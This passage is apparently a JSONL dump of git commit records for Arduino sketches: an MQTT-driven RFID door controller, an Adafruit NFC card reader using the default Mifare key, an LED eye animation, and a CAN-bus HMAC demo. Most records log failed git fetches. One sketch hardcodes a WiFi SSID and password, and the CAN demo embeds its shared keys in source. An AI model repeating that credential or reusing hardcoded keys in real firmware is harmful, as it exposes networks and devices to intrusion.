return uidStr;\n}\n\nvoid callback(char* topic, byte * payload, unsigned int length) {\n char buff[256];\n\n if (strcmp(topic, door_topic)) {\n Serial.printf(\"Received an unexepcted %d byte message on topic <%s>, ignoring.\", length, topic);\n \/\/ We intentinally do not log this message to a MQTT channel-as to reduce the\n \/\/ risk of (amplification) loops due to a misconfiguration. We do increase the counter\n \/\/ so indirectly this does show up in the MQTT log.\n \/\/\n cnt_mqttfails ++;\n return;\n };\n\n int l = 0;\n for (int i = 0; l < sizeof(buff) - 1 && i < length; i++) {\n char c = payload[i];\n if (c >= 32 && c < 128)\n buff[l++] = c;\n };\n buff[l] = 0;\n Serial.println(buff);\n\n if (!strcmp(buff, \"reboot\")) {\n ESP.restart();\n return;\n }\n\n if (!strcmp(buff, \"report\")) {\n reportStats();\n return;\n }\n\n if (!strcmp(buff, \"purge\")) {\n char msg[255];\n wipeCache();\n\n snprintf(msg, sizeof(msg), \"[%s] Purged cache.\", pname);\n client.publish(log_topic, msg);\n Serial.println(msg);\n\n return;\n }\n\n if (!strncmp(buff, \"purge \", 6)) {\n char msg[255];\n char * ptag = buff + 6;\n char * p = ptag;\n for (uid.size = 0; uid.size < sizeof(uid.uidByte) && *p;) {\n while (*p && !isdigit(*p))\n p++;\n\n errno = 0;\n byte b = (byte) strtol(p, NULL, 10);\n if (b == 0 && (errno || *p != '0')) \/\/ it seems ESP32 does not set errno ?!\n break;\n uid.uidByte[uid.size++] = b;\n\n while (*p && isdigit(*p))\n p++;\n }\n if (uid.size) {\n snprintf(msg, sizeof(msg), \"[%s] Purged cache of UID <%s> (payload %s)\", pname, uidToString(uid).c_str(), ptag);\n setCache(uid, false);\n } else {\n snprintf(msg, sizeof(msg), \"[%s] Ignored purge request for uid-payload <%s> \", pname, ptag);\n cnt_mqttfails ++;\n }\n client.publish(log_topic, msg);\n Serial.println(msg);\n\n return;\n }\n\n if (!strcmp(buff, \"open\")) {\n Serial.println(\"Opening door.\");\n openDoor();\n if (caching && uid.size)\n setCache(uid, true);\n uid.size = 0;\n return;\n };\n\n if (caching)\n setCache(uid, false);\n\n uid.size = 0;\n\n char msg[256];\n snprintf(msg, sizeof(msg), \"[%s] Cannot parse reply <%s> [len=%d, payload len=%d] or denied access.\",\n pname, buff, l, length);\n\n client.publish(log_topic, msg);\n Serial.println(msg);\n\n cnt_mqttfails ++;\n}\n\nvoid reportStats() {\n char buff[255];\n snprintf(buff, sizeof(buff),\n \"[%s] alive-uptime %02ld:%02ld :\"\n \"swipes %ld, opens %ld, closes %ld, fails %ld, mis-swipes %ld, mqtt reconnects %ld, mqtt fails %ld, door %s\",\n pname, cnt_minutes \/ 60, (cnt_minutes % 60),\n cnt_cards,\n cnt_opens, cnt_closes, cnt_fails, cnt_misreads, cnt_reconnects, cnt_mqttfails,\n isOpen() ? \"open\" : \"closed\"\n );\n client.publish(log_topic, buff);\n Serial.println(buff);\n}\n\n\nvoid loop()\n{\n {\n static unsigned long aart = 0;\n unsigned long del = 1000;\n if (!eth_connected or !client.connected())\n del = 100;\n else if (doorstate != CLOSED)\n del = 300;\n if (millis() - aart > del) {\n digitalWrite(LED_AART, !digitalRead(LED_AART));\n aart = millis();\n }\n }\n\n if (eth_connected) {\n if (ota)\n ArduinoOTA.handle();\n else\n enableOTA();\n\n if (!client.connected()) {\n long now = millis();\n if (now - lastReconnectAttempt > 5000) {\n lastReconnectAttempt = now;\n if (reconnect()) {\n lastReconnectAttempt = 0;\n }\n }\n } else {\n client.loop();\n }\n } else {\n if (client.connected())\n client.disconnect();\n }\n\n {\n static doorstate_t lastdoorstate = CLOSED;\n switch (doorstate) {\n case CHECKINGCARD:\n if (millis() - last_doorstatechange > 1500 && caching && checkCache(uid)) {\n char msg[255];\n snprintf(msg, sizeof(msg), \"[%s] Allowing door to open based on cached information.\", pname);\n Serial.println(msg);\n client.publish(log_topic, msg);\n openDoor();\n }\n break;\n case OPEN:\n case CLOSED:\n default:\n break;\n };\n\n if (lastdoorstate != doorstate) {\n lastdoorstate = doorstate;\n last_doorstatechange = millis();\n }\n }\n \/\/ catch any logic errors or strange cases where the door is open while we think\n \/\/ we are not doing anything.\n \/\/\n if ((millis() - last_doorstatechange > 10 * DOOR_OPEN_DELAY) && ((doorstate != CLOSED) || (!isClosed()))) {\n closeDoor();\n char msg[256];\n snprintf(msg, sizeof(msg), \"[%s] Door in an odd state-forcing close.\", pname);\n Serial.println(msg);\n client.publish(log_topic, msg);\n cnt_fails ++;\n }\n\n {\n static unsigned long tock = 0;\n if (millis() - tock > REPORTING_PERIOD) {\n cnt_minutes += ((millis() - tock) + 500) \/ 1000 \/ 60;\n reportStats();\n tock = millis();\n }\n }\n\n if (irqCardSeen) {\n if (mfrc522.PICC_ReadCardSerial()) {\n uid = mfrc522.uid;\n String uidStr = uidToString(uid);\n\n String pyStr = \"[\";\n for (int i = 0; i < uid.size; i++) {\n if (i) pyStr += \", \";\n pyStr += String(uid.uidByte[i], DEC);\n };\n pyStr += \"]\";\n\n cnt_cards++;\n client.publish(rfid_topic, pyStr.c_str());\n\n char msg[256];\n snprintf(msg, sizeof(msg), \"[%s] Tag <%s> (len=%d) swiped\", pname, uidStr.c_str(), uid.size);\n client.publish(log_topic, msg);\n Serial.println(msg);\n\n doorstate = CHECKINGCARD;\n } else {\n Serial.println(\"Misread.\");\n cnt_misreads++;\n }\n mfrc522.PICC_HaltA(); \/\/ Stop reading\n\n clearInt(mfrc522);\n irqCardSeen = false;\n };\n\n \/\/ Re-arm\/retrigger the scanning regularly.\n {\n static unsigned long reminderToRead = 0;\n if (millis() - reminderToRead > 100) {\n activateRec(mfrc522);\n reminderToRead = millis();\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test\/PoE-test\/voordeur-asis-2017\/voordeur-asis-2017.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f59c5f7e77d38a504da08959b7d9a96ad01f50d6","subject":"arduino based rf_node","message":"arduino based rf_node\n","repos":"glumanda\/nodes_at_home,glumanda\/nodes_at_home","old_file":"rf_node\/rf_node.ino","new_file":"rf_node\/rf_node.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/glumanda\/nodes_at_home.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8e27ab05bf3515619b70331cd1cfa3c981ac4353","subject":"Testing out DHT11","message":"Testing out DHT11\n","repos":"rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects","old_file":"[learning]\/DHT11\/DHT11.ino","new_file":"[learning]\/DHT11\/DHT11.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rniemand\/ArduinoProjects.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b3fa0c5725258feae8d58228e6a3ed2ad3c26200","subject":"Update SlaveModule.ino","message":"Update SlaveModule.ino","repos":"PeterL328\/SnakeRobot,ExiaSR\/SnakeRobot,PeterL328\/SnakeRobot,Robot-Club\/SnakeRobot,Robot-Club\/SnakeRobot","old_file":"Arduino code\/SlaveModule\/SlaveModule.ino","new_file":"Arduino code\/SlaveModule\/SlaveModule.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'code\/SlaveModule\/SlaveModule.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9f5cb2a8c43cea8343f5ddffed8a0ceff0c0e02b","subject":"satellite firmware using energia for TI cc3200 launchpad","message":"satellite firmware using energia for TI cc3200 launchpad","repos":"bhhwang\/cossb,bhhwang\/cossb,bhhwang\/cossb","old_file":"devices\/cc3200_launchpad\/example_energia\/example_energia.ino","new_file":"devices\/cc3200_launchpad\/example_energia\/example_energia.ino","new_contents":"\/**\nThis firmware is only for TI CC3200 Launchpad.\nIn order to test the COSSB system, we will support temporary open & public hardware platforms like TI Launchpad, Odroid, Raspberry Pi...\nIf you have any questions for this sample code, please contact us(bhhwang@nsynapse.com).\n*\/\n#include <WiFi.h>\n#include <WiFiUdp.h>\n#include <WiFiServer.h>\n#include <WiFiClient.h>\n\n\n\nchar ssid[] = \"nsynapseap\";\nchar password[] = \"elec6887\";\nWiFiClient client = 0;\n\nvoid printWifiStatus() {\n Serial.print(\"Network Name: \");\n Serial.println(WiFi.SSID());\n\n IPAddress ip = WiFi.localIP();\n Serial.print(\"IP Address: \");\n Serial.println(ip);\n\n long rssi = WiFi.RSSI();\n Serial.print(\"signal strength (RSSI):\");\n Serial.print(rssi);\n Serial.println(\" dBm\");\n}\n\nvoid setup()\n{\n Serial.begin(115200);\n WiFi.init();\n WiFi.begin(ssid, password);\n while(WiFi.status()!=WL_CONNECTED) {\n Serial.print(\".\");\n delay(300);\n }\n \n Serial.println(\"connected.\");\n Serial.println(\"Getting Local IP Address\");\n while(WiFi.localIP() == INADDR_NONE) {\n Serial.print(\".\");\n delay(300);\n }\n \n Serial.print(\"Network Name: \");\n Serial.println(WiFi.SSID());\n\n IPAddress ip = WiFi.localIP();\n Serial.print(\"IP Address: \");\n Serial.println(ip);\n\n long rssi = WiFi.RSSI();\n Serial.print(\"signal strength (RSSI):\");\n Serial.print(rssi);\n Serial.println(\" dBm\");\n \n}\n\nvoid loop()\n{\n mdnsAdvertiser(1, \"CC3000\", 6);\n \n \/*client = server.available();\n int ret = 0;\n ret = mdnsAdvertise(1.\"cc3200\", 6);\n Serial.println(\"MDNS Advertising returning\");\n Serial.println(ret);*\/\n delay(5000);\n \n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'devices\/cc3200_launchpad\/example_energia\/example_energia.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"70e97b0961b6f023d2646b992e9f491a5b4cf53c","subject":"UL not U","message":"UL not U\n","repos":"cjhdev\/lora_device_lib,cjhdev\/lora_device_lib,cjhdev\/lora_device_lib,cjhdev\/lora_device_lib,cjhdev\/lora_device_lib","old_file":"bindings\/arduino\/modules\/environment_sensor\/environment_sensor.ino","new_file":"bindings\/arduino\/modules\/environment_sensor\/environment_sensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref 70e97b0961b6f023d2646b992e9f491a5b4cf53c\nfatal: the remote end hung up unexpectedly\n","license":"mit","lang":"Arduino"} {"commit":"75e95245bbd8413bdd281ac98d9ddc8136ddaafb","subject":"test for 2 shields","message":"test for 2 shields\n","repos":"dwwkelly\/Adafruit_Motor_Shield_V2_Library,dwwkelly\/Adafruit_Motor_Shield_V2_Library,audetto\/Adafruit_Motor_Shield_V2_Library","old_file":"examples\/StackingTest\/StackingTest.ino","new_file":"examples\/StackingTest\/StackingTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dwwkelly\/Adafruit_Motor_Shield_V2_Library.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"d8f3779c386e1d0a11d1b8ccd7ad195e0a10b400","subject":"Added arduino script to repo","message":"Added arduino script to repo\n","repos":"encorelab\/tomatino","old_file":"tomatino_Arduino.ino","new_file":"tomatino_Arduino.ino","new_contents":"\/**************************************************************************\/\n\/*! \n @file readMifare.pde\n @author Adafruit Industries\n @license BSD (see license.txt)\n\n This example will wait for any ISO14443A card or tag, and\n depending on the size of the UID will attempt to read from it.\n \n If the card has a 4-byte UID it is probably a Mifare\n Classic card, and the following steps are taken:\n \n - Authenticate block 4 (the first block of Sector 1) using\n the default KEYA of 0XFF 0XFF 0XFF 0XFF 0XFF 0XFF\n - If authentication succeeds, we can then read any of the\n 4 blocks in that sector (though only block 4 is read here)\n \n If the card has a 7-byte UID it is probably a Mifare\n Ultralight card, and the 4 byte pages can be read directly.\n Page 4 is read by default since this is the first 'general-\n purpose' page on the tags.\n\n\n This is an example sketch for the Adafruit PN532 NFC\/RFID breakout boards\n This library works with the Adafruit NFC breakout \n ----> https:\/\/www.adafruit.com\/products\/364\n \n Check out the links above for our tutorials and wiring diagrams \n These chips use I2C to communicate\n\n Adafruit invests time and resources providing this open source code, \n please support Adafruit and open-source hardware by purchasing \n products from Adafruit!\n*\/\n\/**************************************************************************\/\n#include <Wire.h>\n#include <Adafruit_NFCShield_I2C.h>\n\n#define IRQ (2)\n#define RESET (3) \/\/ Not connected by default on the NFC Shield\n\nAdafruit_NFCShield_I2C nfc(IRQ, RESET);\n\nvoid setup(void) {\n Serial.begin(9600);\n Serial.println(\"Hello!\");\n\n nfc.begin();\n\n uint32_t versiondata = nfc.getFirmwareVersion();\n if (! versiondata) {\n Serial.print(\"Didn't find PN53x board\");\n while (1); \/\/ halt\n }\n \/\/ Got ok data, print it out!\n Serial.print(\"Found chip PN5\"); Serial.println((versiondata>>24) & 0xFF, HEX); \n Serial.print(\"Firmware ver. \"); Serial.print((versiondata>>16) & 0xFF, DEC); \n Serial.print('.'); Serial.println((versiondata>>8) & 0xFF, DEC);\n \n \/\/ configure board to read RFID tags\n nfc.SAMConfig();\n \n Serial.println(\"Waiting for an ISO14443A Card ...\");\n}\n\n\nvoid loop(void) {\n uint8_t success;\n uint8_t uid[] = { 0, 0, 0, 0, 0, 0, 0 }; \/\/ Buffer to store the returned UID\n uint8_t uidLength; \/\/ Length of the UID (4 or 7 bytes depending on ISO14443A card type)\n \n \/\/ Wait for an ISO14443A type cards (Mifare, etc.). When one is found\n \/\/ 'uid' will be populated with the UID, and uidLength will indicate\n \/\/ if the uid is 4 bytes (Mifare Classic) or 7 bytes (Mifare Ultralight)\n success = nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, &uidLength);\n \n if (success) {\n \/\/ Display some basic information about the card\n Serial.println(\"Found an ISO14443A card\");\n Serial.print(\" UID Length: \");Serial.print(uidLength, DEC);Serial.println(\" bytes\");\n Serial.print(\" UID Value: \");\n nfc.PrintHex(uid, uidLength);\n Serial.println(\"\");\n \n if (uidLength == 4)\n {\n \/\/ We probably have a Mifare Classic card ... \n Serial.println(\"Seems to be a Mifare Classic card (4 byte UID)\");\n \n \/\/ Now we need to try to authenticate it for read\/write access\n \/\/ Try with the factory default KeyA: 0xFF 0xFF 0xFF 0xFF 0xFF 0xFF\n Serial.println(\"Trying to authenticate block 4 with default KEYA value\");\n uint8_t keya[6] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF };\n \n \/\/ Start with block 4 (the first block of sector 1) since sector 0\n \/\/ contains the manufacturer data and it's probably better just\n \/\/ to leave it alone unless you know what you're doing\n success = nfc.mifareclassic_AuthenticateBlock(uid, uidLength, 4, 0, keya);\n \n if (success)\n {\n Serial.println(\"Sector 1 (Blocks 4..7) has been authenticated\");\n uint8_t data[16];\n \n \/\/ If you want to write something to block 4 to test with, uncomment\n \/\/ the following line and this text should be read back in a minute\n \/\/memcpy(data, (const uint8_t[]){ 'a', 'd', 'a', 'f', 'r', 'u', 'i', 't', '.', 'c', 'o', 'm', 0, 0, 0, 0 }, sizeof data);\n \/\/success = nfc.mifareclassic_WriteDataBlock (4, data);\n\n \/\/ Try to read the contents of block 4\n success = nfc.mifareclassic_ReadDataBlock(4, data);\n \n if (success)\n {\n \/\/ Data seems to have been read ... spit it out\n Serial.println(\"Reading Block 4:\");\n nfc.PrintHexChar(data, 16);\n Serial.println(\"\");\n \n \/\/ Wait a bit before reading the card again\n delay(1000);\n }\n else\n {\n Serial.println(\"Ooops ... unable to read the requested block. Try another key?\");\n }\n }\n else\n {\n Serial.println(\"Ooops ... authentication failed: Try another key?\");\n }\n }\n \n if (uidLength == 7)\n {\n \/\/ We probably have a Mifare Ultralight card ...\n Serial.println(\"Seems to be a Mifare Ultralight tag (7 byte UID)\");\n \n \/\/ Try to read the first general-purpose user page (#4)\n Serial.println(\"Reading page 4\");\n uint8_t data[32];\n success = nfc.mifareultralight_ReadPage (4, data);\n if (success)\n {\n \/\/ Data seems to have been read ... spit it out\n nfc.PrintHexChar(data, 4);\n Serial.println(\"\");\n \n \/\/ Wait a bit before reading the card again\n delay(1000);\n }\n else\n {\n Serial.println(\"Ooops ... unable to read the requested page!?\");\n }\n }\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tomatino_Arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7cdcf3191aa1a3ccb62fa7240cbd445ab6145a32","subject":"Initial checkin","message":"Initial checkin\n\nControlling two eyes\u2026 very spooky.\n","repos":"ledlogic\/Skulleyes","old_file":"Skulleyes.ino","new_file":"Skulleyes.ino","new_contents":"\/*************************************************** \n This is a library for our I2C LED Backpacks\n\n Designed specifically to work with the Adafruit LED Matrix backpacks \n ----> http:\/\/www.adafruit.com\/products\/872\n ----> http:\/\/www.adafruit.com\/products\/871\n ----> http:\/\/www.adafruit.com\/products\/870\n\n These displays use I2C to communicate, 2 pins are required to \n interface. There are multiple selectable I2C addresses. For backpacks\n with 2 Address Select pins: 0x70, 0x71, 0x72 or 0x73. For backpacks\n with 3 Address Select pins: 0x70 thru 0x77\n\n Adafruit invests time and resources providing this open source code, \n please support Adafruit and open-source hardware by purchasing \n products from Adafruit!\n\n Written by Limor Fried\/Ladyada for Adafruit Industries. \n BSD license, all text above must be included in any redistribution\n ****************************************************\/\n\n#include <Wire.h>\n#include \"Adafruit_LEDBackpack.h\"\n#include \"Adafruit_GFX.h\"\n\nAdafruit_8x8matrix matrix = Adafruit_8x8matrix();\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"8x8 LED Matrix Test\");\n \n matrix.begin(0x70); \/\/ pass in the address\n}\n\nstatic const uint8_t PROGMEM\n eye_off[] =\n { B00000000,\n B00000000,\n B00000000,\n B00000000,\n B00000000,\n B00000000,\n B00000000,\n B00000000 },\n eye_up_left[] =\n { B00111100,\n B01111110,\n B10011111,\n B10011111,\n B11111111,\n B11111111,\n B01111110,\n B00111100 },\n eye_up_center[] =\n { B00111100,\n B01100110,\n B11100111,\n B11111111,\n B11111111,\n B11111111,\n B01111110,\n B00111100 },\n eye_up_right[] =\n { B00111100,\n B01111110,\n B11111001,\n B11111001,\n B11111111,\n B11111111,\n B01111110,\n B00111100 },\n eye_left[] =\n { B00111100,\n B01111110,\n B11111111,\n B10011111,\n B10011111,\n B11111111,\n B01111110,\n B00111100 },\n eye_center[] =\n { B00111100,\n B01111110,\n B11111111,\n B11100111,\n B11100111,\n B11111111,\n B01111110,\n B00111100 },\n eye_right[] =\n { B00111100,\n B01111110,\n B11111111,\n B11111001,\n B11111001,\n B11111111,\n B01111110,\n B00111100 },\n eye_down_left[] =\n { B00111100,\n B01111110,\n B11111111,\n B11111111,\n B10011111,\n B10011111,\n B01111110,\n B00111100 },\n eye_down_center[] =\n { B00111100,\n B01111110,\n B11111111,\n B11111111,\n B11111111,\n B11100111,\n B01100110,\n B00111100 },\n eye_down_right[] =\n { B00111100,\n B01111110,\n B11111111,\n B11111111,\n B11111001,\n B11111001,\n B01111110,\n B00111100 };\n;\n\nvoid draw(const uint8_t *bitmap) {\n matrix.clear();\n matrix.drawBitmap(0, 0, bitmap, 8, 8, LED_ON);\n matrix.writeDisplay();\n delay(1000);\n}\n\nvoid loop() {\n draw(eye_off);\n draw(eye_up_left);\n draw(eye_up_center);\n draw(eye_up_right);\n draw(eye_off);\n draw(eye_left);\n draw(eye_center);\n draw(eye_right);\n draw(eye_off);\n draw(eye_down_left);\n draw(eye_down_center);\n draw(eye_down_right);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Skulleyes.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3cf6a769bef8fe7cb4dead72846ee6f531ea4ba6","subject":"CAN SHA1 receiving end","message":"CAN SHA1 receiving end\n","repos":"zach-king\/ArduinoStash,zach-king\/ArduinoStash","old_file":"src\/CAN\/CAN_SHA1_read\/CAN_SHA1_read.ino","new_file":"src\/CAN\/CAN_SHA1_read\/CAN_SHA1_read.ino","new_contents":"#include \"sha1.h\"\n#include <mcp_can.h>\n#include <SPI.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nconst int HASH_LEN = 20;\n\n\/\/ \"Control Units\" -- LED Lights to be controlled\nconst int blueLED = 4;\nconst int greenLED = 3;\n\n\/\/ For the RGB LED\nconst int RED = 7;\nconst int GREEN = 5;\nconst int BLUE = 6;\n\n\/\/ For the RGB LED\nint redValue = 255;\nint blueValue = 0;\nint greenValue = 0;\n\n\/\/ Shared keys - pretend these are stored\n\/\/ in a \"Secure Hardware Module\"\n\/\/ CONSTANTS\nconst int SPI_CS_PIN = 9;\nconst uint8_t *MIL_KEY = (const uint8_t *)\"mil key\";\nconst uint8_t *DOOR_KEY = (const uint8_t *)\"door key\";\nconst uint8_t *ENGINE_KEY = (const uint8_t *)\"engine key\";\nconst int MIL_KEY_LEN = 7;\nconst int DOOR_KEY_LEN = 8;\nconst int ENGINE_KEY_LEN = 10;\nconst int MIL_ID = 0x7e0;\nconst int DOOR_ID = 0x7d0;\nconst int ENGINE_ID = 0x7a0;\n\n\/\/ Incoming data variables\nuint32_t id;\nuint8_t dlc;\nuint8_t data[8] = {0};\nuint8_t *hash;\n\nMCP_CAN CAN(SPI_CS_PIN);\n\nvoid setup()\n{\n Serial.begin(115200);\n\n while (CAN_OK != CAN.begin(CAN_500KBPS))\n {\n Serial.println(\"CAN BUS Shield init fail\");\n Serial.println(\" Init CAN BUS Shield again\");\n }\n Serial.println(\"CAN BUS Shield init ok!\");\n\n \/\/ Initialize all the LEDs\n pinMode(blueLED, OUTPUT);\n pinMode(greenLED, OUTPUT);\n pinMode(RED, OUTPUT);\n pinMode(GREEN, OUTPUT);\n pinMode(BLUE, OUTPUT);\n digitalWrite(blueLED, LOW);\n digitalWrite(greenLED, LOW);\n digitalWrite(RED, LOW);\n digitalWrite(BLUE, LOW);\n digitalWrite(GREEN, LOW);\n}\n\nvoid loop()\n{\n if (CAN_MSGAVAIL == CAN.checkReceive()) \/\/ check if data coming\n {\n \/\/ Store message data\n id = CAN.getCanId(); \n CAN.readMsgBufID(&id, &dlc, data); \/\/ read buffer\n\n \/\/ Authenticate the message\n if (Authenticate())\n {\n \/\/ Display the message\n PrintMessage();\n\n Serial.println(\"\\nAuthentication Successful\");\n TakeAction();\n Serial.println(\"------------------------------------------\\n\");\n }\n }\n}\n\n\nconst uint8_t * GetKey()\n{\n switch(id)\n {\n case MIL_ID:\n return MIL_KEY;\n case DOOR_ID:\n return DOOR_KEY;\n case ENGINE_ID:\n return ENGINE_KEY;\n default:\n return 0;\n }\n}\n\nint GetKeyLen()\n{\n switch(id)\n {\n case MIL_ID:\n return MIL_KEY_LEN;\n case DOOR_ID:\n return DOOR_KEY_LEN;\n case ENGINE_ID:\n return ENGINE_KEY_LEN;\n default:\n return -1;\n }\n}\n\nbool CompareAuthMessage(uint8_t recvd[], int msgLen=0, int hashOffset=0)\n{\n for(int i = 0; i < msgLen; i++)\n {\n if (recvd[i] != hash[i+hashOffset])\n return false;\n }\n return true;\n}\n\n\nbool Authenticate()\n{\n \/\/ Get the correct key according to the id\n const uint8_t *key = GetKey();\n int keyLen = GetKeyLen();\n\n \/\/ Generate the correct digest according to the data\n String message = \"\";\n for(int i = 0; i < dlc; i++)\n {\n if (data[i] < 0x10)\n message += '0';\n message += String(data[i], HEX);\n }\n message.toLowerCase();\n\n \/\/Serial.print(\"Hashing: \");\n \/\/Serial.println(message);\n \/\/Serial.print(\"Key: \");\n \/\/Serial.println((const char *)key);\n Sha1.initHmac(key, keyLen);\n WriteBytes((const uint8_t *)message.c_str(), message.length());\n uint8_t *correct_hash;\n hash = Sha1.resultHmac();\n\n \/\/ For storing incoming digest\n uint8_t msg1[8] = {0};\n uint8_t msg2[8] = {0};\n uint8_t msg3[8] = {0};\n uint8_t len;\n\n \/\/ Read in the three sections of the digest and check them\n CAN.readMsgBuf(&len, msg1);\n \/\/PrintMessage(id, len, &msg1[0]);\n if (!CompareAuthMessage(msg1, 8, 0)) return false;\n \n CAN.readMsgBuf(&len, msg3);\n \/\/PrintMessage(id, len, &msg3[0]);\n if (!CompareAuthMessage(msg3, 4, 16)) return false;\n \n CAN.readMsgBuf(&len, msg2);\n \/\/PrintMessage(id, len, &msg2[0]);\n if (!CompareAuthMessage(msg2, 8, 8)) return false;\n\n Serial.print(\"Received Correct Digest: \");\n PrintHash(hash);\n return true;\n}\n\n\nvoid WriteBytes(const uint8_t *data, int len)\n{\n for(int i = 0; i < len; i++)\n {\n Sha1.write(data[i]);\n }\n}\n\n\nvoid PrintHash(uint8_t *hash)\n{\n for (int i = 0; i < 20; i++)\n {\n if (hash[i] < 0x10)\n Serial.print('0');\n Serial.print(hash[i], HEX);\n }\n Serial.println();\n}\n\n\n\/\/---------------------------------------------------------------------------------------\n\/\/ Prints the CAN message to the Serial interface\n\/\/---------------------------------------------------------------------------------------\nvoid PrintMessage()\n{\n Serial.println(\"Received Message:\");\n Serial.print(\"\\tID ---> \");\n Serial.println(id, HEX);\n Serial.print(\"\\tDLC --> \");\n Serial.println(dlc);\n Serial.print(\"\\tDATA -> \");\n\n for(int i = 0; i < dlc; i++) \/\/ print the data\n {\n if (data[i] < 0x10)\n Serial.print(\"0\");\n Serial.print(data[i], HEX);\n Serial.print(\" \");\n }\n Serial.println();\n}\n\n\nvoid PrintMessage(uint32_t ident, uint8_t dataLen, uint8_t *buf)\n{\n Serial.println(\"Received Message:\");\n Serial.print(\"\\tID ---> \");\n Serial.println(ident, HEX);\n Serial.print(\"\\tDLC --> \");\n Serial.println(dataLen);\n Serial.print(\"\\tDATA -> \");\n\n for(int i = 0; i < dataLen; i++) \/\/ print the data\n {\n if (buf[i] < 0x10)\n Serial.print(\"0\");\n Serial.print(buf[i], HEX);\n Serial.print(\" \");\n }\n Serial.println();\n}\n\n\nvoid TakeAction()\n{\n switch(id)\n {\n case MIL_ID:\n if (dlc > 0 && data[0] > 0)\n digitalWrite(greenLED, HIGH);\n else\n digitalWrite(greenLED, LOW);\n break;\n case DOOR_ID:\n if (dlc > 0 && data[0] > 0)\n digitalWrite(blueLED, HIGH);\n else \n digitalWrite(blueLED, LOW);\n break;\n case ENGINE_ID:\n if (dlc >= 3)\n {\n redValue = data[0];\n blueValue = data[2];\n greenValue = data[1];\n }\n else if (dlc == 2)\n {\n redValue = data[0];\n greenValue = data[1];\n blueValue = 0;\n }\n else if (dlc == 1)\n {\n redValue = data[0];\n blueValue = 0;\n greenValue = 0;\n }\n else\n {\n redValue = 0;\n greenValue = 0;\n blueValue = 0;\n }\n redValue = redValue % 255;\n greenValue = greenValue % 255;\n blueValue = blueValue % 255;\n analogWrite(RED, redValue);\n analogWrite(GREEN, greenValue);\n analogWrite(BLUE, blueValue);\n }\n}\n\n\nvoid CStringHexToUInt8(char *str, uint8_t *buf)\n{\n for(int i = 0, j = 0; i < 40; i+=2, j++)\n {\n buf[j] = CharByteToUInt8(str[i], str[i+1]);\n PrintHexByte(buf[j]);\n Serial.print(' ');\n }\n Serial.println();\n}\n\n\nvoid PrintHexByte(uint8_t val)\n{\n if (val < 0x10)\n Serial.print('0');\n Serial.print(val, HEX);\n}\n\n\nuint8_t *HexToUInt8(char *hexStr, uint8_t &len)\n{\n len = strlen(hexStr);\n uint8_t *buf = new uint8_t[len];\n int bufIndex = 0;\n\n \/\/ Convert each pair of chars (a byte)\n for (int i = 0; i < len; i+=2)\n {\n buf[bufIndex] = CharToUInt8(hexStr[i]) * 16;\n buf[bufIndex] += CharToUInt8(hexStr[i+1]);\n bufIndex++;\n }\n len = len \/ 2;\n \n return buf;\n}\n\n\nuint8_t *CStringToUInt8(char *str, uint8_t &len)\n{\n len = strlen(str);\n uint8_t *buf = new uint8_t[len];\n\n for(int i = 0; i < len; i++)\n {\n \/\/ store and convert from ASCII to integer value\n buf[i] = (uint8_t)str[i];\n }\n\n return buf;\n}\n\nuint8_t CharToUInt8(char ch)\n{\n uint8_t value = ch;\n if (ch >= '0' && ch <= '9')\n value -= '0';\n else if (ch >= 'a' && ch <= 'f')\n value = (ch - 'a') + 10;\n else\n value = (ch - 'A') + 10;\n return value;\n}\n\n\nchar UInt8ToChar(uint8_t x)\n{\n char ch = (char)x;\n if (x >= 0 && x <= 9)\n ch += '0';\n else if (x >= 10 && x <= 15)\n ch += 'a';\n return ch;\n}\n\nuint8_t CharByteToUInt8(char ch1, char ch2)\n{\n uint8_t value = CharToUInt8(ch1);\n value *= 16;\n value += CharToUInt8(ch2);\n return value;\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/CAN\/CAN_SHA1_read\/CAN_SHA1_read.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2020dabc4d4b4f041eb60e6e81c4f9aa59781c1d","subject":"Create MIMIC_SASA.ino","message":"Create 